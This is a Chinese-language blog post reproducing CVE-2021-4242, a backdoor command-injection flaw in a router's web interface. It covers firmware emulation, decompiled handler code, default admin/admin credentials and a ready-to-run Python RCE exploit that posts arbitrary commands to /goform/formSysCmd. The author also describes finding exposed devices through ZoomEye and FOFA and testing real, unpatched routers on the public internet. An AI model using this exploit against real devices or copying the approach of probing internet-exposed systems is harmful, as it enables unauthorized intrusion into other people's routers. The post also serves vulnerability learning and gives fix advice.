# 前言
所以,这是我入门 IoT 复现的第一个漏洞 :D
看到 Arch Linux ~~神(邪)教~~被孤立还是很难过的……最后迫不得已,还是搭建了 [Atti
fyOS](https://www.attify.com/) 虚拟机,老老实实用它仿真,不过分析和写 exp 这种事
情还是在宿主机进行,其实感觉还好,整个流程并没有让我觉得有多麻烦。
~~嗯……有空研究一下市面上仿真项目的源码,然后写一个适用于 arch 的仿真工具孤立所有
非我教者(~~
# 漏洞介绍
好了,不瞎扯了,说点正经的……搜了一下,这个漏洞的 CVE 是:[CVE-2021-4242](https:/
/nvd.nist.gov/vuln/detail/CVE-2021-4242),说实话一开始以为是一个很老的漏洞,没想
到也就近几年。
对于这个洞的描述是:
CVE: https://www.cve.org/CVERecord?id=CVE-2021-4242
说白了就是一个没有过滤后门页面的访问的问题,虽然洞很简单,但这里主要是为了学习,
体会实战中如何寻找漏洞的一个思路,而不是为了复现而复现。
# 固件仿真
~~仿真还不是 easy peasy,只要人品足够好,不是吗?~~
这里我使用的是 [Firmware Analysis Toolkit](https://github.com/attify/firmware-an
alysis-toolkit),直接梭掉了,没有遇到什么奇奇怪怪的问题。~~人品保障(~~
为了方便测试,这里我写了一个无比简陋的端口转发脚本,这样就可以从宿主机访问仿真出
来的路由器后端了:
```bash
#!/bin/bash
TARGET_IP="$1"
PORT_RULES="$2"
if [[ -z "$TARGET_IP" || -z "$PORT_RULES" ]]; then
echo "usage: $0 <target_ip> "<host_port:target_port> <host_port:target_port> .
..""
exit 1
fi
if ! command -v socat >/dev/null 2>&1; then
echo "[-] socat not found."
exit 1
fi
echo "[*] Target IP: $TARGET_IP"
echo "[*] Rules: $PORT_RULES"
echo
for rule in $PORT_RULES; do
HOST_PORT="${rule%%:*}"
TARGET_PORT="${rule##*:}"
echo "[+] Forwarding host: $HOST_PORT → $TARGET_IP:$TARGET_PORT"
socat TCP-LISTEN:"$HOST_PORT",fork TCP:"$TARGET_IP":"$TARGET_PORT" &
PID=$!
echo " Started (PID=$PID)"
done
echo
echo "[OK] All forwarding rules loaded."
```
# 漏洞分析
闭眼 `binwalk`,~~幸运女神保佑我,别加密,别加密(~~
正合我意,是没有加密的 SquashFS 文件系统。下面随机抓一个倒霉蛋问问架构:
Well,32-bit 大端 MIPS,现在基本的信息算是搜集的差不多了,接下来就应该去分析它是
如何把 http 服务跑起来的了。
我们发现 `/etc/init.d` 下有三个文件,`rcS`、`rcS_16M` 和 `rcS_32M`,盲猜后两个是
设计用于特定内存大小使用的,我们直接看 `rcS` 就好了,另外两个也大差不差。
快速过一遍这个脚本,大致可以看出来就是做了一些初始化工作,诸如网络设置,硬件检测
啦之类的事情,最后,我们凭借敏锐的注意力发现它在一切准备就绪后执行了一个叫做 `we
bs` 的程序:
盲猜这个路由器就是通过它来启服务的。找到入口后,发现是 ELF 文件,那就丢给 IDA 姐
姐分析一下看看它偷偷摸摸地在幕后做了些什么坏坏的事情(
~~然后发现已经快凌晨四点了,这说明白天睡觉的效益并不大,早岁晚起才是真理(~~
粗略看了一下,就是很常规的启动 web 服务器,注册 `cgi-bin` 和 `goform` handlers
用于执行实际操作:
其中有一个疑似后门的 form handler:
直接进入函数分析分析它到底干了点啥:
```c {23} del={28-32} collapse={1-19, 35-95}
int __fastcall formSysCmd(int a1)
{
int Var; // $s4
const char *v3; // $s1
_BYTE *v4; // $s5
int v5; // $s6
const char *p_writepath; // $s3
_BYTE *v7; // $s7
int v8; // $v0
_DWORD *v9; // $s0
int v10; // $a0
const char *Var_1; // $a1
int v12; // $v0
int v13; // $s1
void (__fastcall *p_fputc)(int, _DWORD *); // $t9
_BYTE *v15; // $a0
_BYTE *v16; // $a3
int v17; // $a0
int v18; // $v0
char p_writepath_1[104]; // [sp+20h] [-68h] BYREF
Var = websGetVar(a1, "submit-url", &dword_47F498);
v3 = (const char *)websGetVar(a1, "sysCmd", &dword_47F498);
v4 = (_BYTE *)websGetVar(a1, "writeData", &dword_47F498);
v5 = websGetVar(a1, "filename", &dword_47F498);
p_writepath = (const char *)websGetVar(a1, "fpath", &dword_47F498);
v7 = (_BYTE *)websGetVar(a1, "readfile", &dword_47F498);
if ( *v3 )
{
snprintf(p_writepath_1, 100, "%s 2>&1 > %s", v3, "/tmp/syscmd.log");
system(p_writepath_1);
}
if ( *v4 )
{
strcpy(p_writepath_1, p_writepath);
strcat(p_writepath_1, v5);
v8 = fopen(p_writepath_1, "w");
v9 = (_DWORD *)v8;
if ( !v8 )
{
printf("Open %s fail.n", p_writepath_1);
v10 = a1;
Var_1 = (const char *)Var;
return websRedirect(v10, Var_1);
}
v13 = 0;
v12 = fileno(v8);
fchmod(v12, 511);
if ( *(int *)(a1 + 240) > 0 )
{
while ( 1 )
{
p_fputc = (void (__fastcall *)(int, _DWORD *))&fputc;
if ( !v9[13] )
break;
v15 = (_BYTE *)v9[4];
p_fputc = (void (__fastcall *)(int, _DWORD *))&_fputc_unlocked;
v16 = (_BYTE *)(*(_DWORD *)(a1 + 204) + v13);
if ( (unsigned int)v15 >= v9[7] )
{
v17 = (char)*v16;
LABEL_12:
p_fputc(v17, v9);
goto LABEL_13;
}
*v15 = *v16;
v9[4] = v15 + 1;
LABEL_13:
if ( ++v13 >= *(_DWORD *)(a1 + 240) )
goto LABEL_14;
}
v17 = *(char *)(*(_DWORD *)(a1 + 204) + v13);
goto LABEL_12;
}
LABEL_14:
fclose(v9);
printf("Write to %sn", p_writepath_1);
strcpy(&writepath, p_writepath);
}
if ( *v7 && (v18 = fopen(p_writepath, "r")) != 0 )
{
fclose(v18);
sprintf(p_writepath_1, "cat %s > /web/obama.dat", p_writepath);
system(p_writepath_1);
usleep(10000);
v10 = a1;
Var_1 = "/obama.dat";
}
else
{
v10 = a1;
Var_1 = (const char *)Var;
}
return websRedirect(v10, Var_1);
}
```
我们发现它获取了 `sysCmd` 后并构造了一个 `<sysCmd> 2>&1 > /tmp/syscmd.log` 指令
,保存在 `p_writepath_1`,然后直接调用 `system(p_writepath_1)`。那我们如果可以控
制 `sysCmd` 的话就能执行任意代码了,所以下面应该找一下哪里使用了这个 form。
下面是使用 `ripgrep` 搜索的结果:
发现除了 `webs` 这个二进制文件外,还有 `web/syscmd.asp` 和 `web/obama.asp` 也包
含了这个 form,直接跟进,对比发现这两个文件的区别就在于提供的功能数量,`obama.as
p` 比 `syscmd.asp` 多提供了操作文件的功能,而我们最关心的 `sysCmd` 被定义为一个
输入框,即我们可控它的内容:
# 漏洞利用
上面有关这个 CVE 的漏洞分析的就差不多了,我们可以试试能不能直接访问 `syscmd.asp`
和 `obama.asp` 这两个页面,不过测试发现没登陆的情况下访问会被重定向回到登陆页面
,网上搜到了这个路由器的默认账号密码是 `admin/admin`,用它登陆后再访问就进去了,
发现和我们分析的一模一样,可以执行任意指令,并且 `obama.asp` 的功能更多:
btw 有些不同型号的是 `htm` 而不是 `asp`,这个可以自己测试一下。
~~不过为什么要用美国总统的名字??好奇怪呀……~~
## 资产收集
只是打本地多没意思,我们玩的可是实战。本来只是抱着试一试的心态尝试 `ZoomEye` 和
`FOFA` 看看能不能找到一别暴露在公网的服务,结果意外地搜出一堆……大家安全意识都那
么薄弱的吗?而且测试发现大多数暴露在外的服务都没有修复这个漏洞,随便抓一个倒霉蛋
发现甚至连默认账号密码都没改,有些甚至不用登陆就直接进管理面板了……
## Exploit
开开心心去写 exp 咯~
```python
#!/usr/bin/env python3
import requests
from pwn import log, sys
def rce(host, port, cmd):
payload = {
"sysCmd": cmd,
"apply": "Apply",
"submit-url": "/obama.asp",
}
try:
r = requests.post(
f"http://{host}:{port}/goform/formSysCmd",
data=payload,
timeout=5,
)
except Exception as e:
log.error(f"HTTP request failed: {e}")
text = r.text
start_tag = '<textarea rows="15" name="msg" cols="80" wrap="virtual">'
end_tag = "</textarea>"
start = text.find(start_tag)
end = text.rfind(end_tag)
if start < 0 or end < 0:
log.warn("Output parsing failed.")
return text
return text[start + len(start_tag) : end]
def main():
log.success(rce(sys.argv[1], sys.argv[2], sys.argv[3]))
if __name__ == "__main__":
main()
```
# 修复建议
这种后门页面完全没必要公开出来吧,应该直接删掉才是,而且我并没有看到有什么地方需
要用到这个后门页面进行什么操作。就算要保留也应该对可以使用的指令做一个过滤才是。
# 后记
至此,人生中第一个路由器 RCE 漏洞复现成功,我也算是真正步入 IoT 的世界了,不过说
实话从这个漏洞中我可能并没有学到太多东西,只是对如何寻找漏洞,对常见路由器设备的
架构以及其可能的攻击面有了一个粗略的了解吧,总的来说收获不是很大,但这个独自研究
摸索的过程还是很快乐的。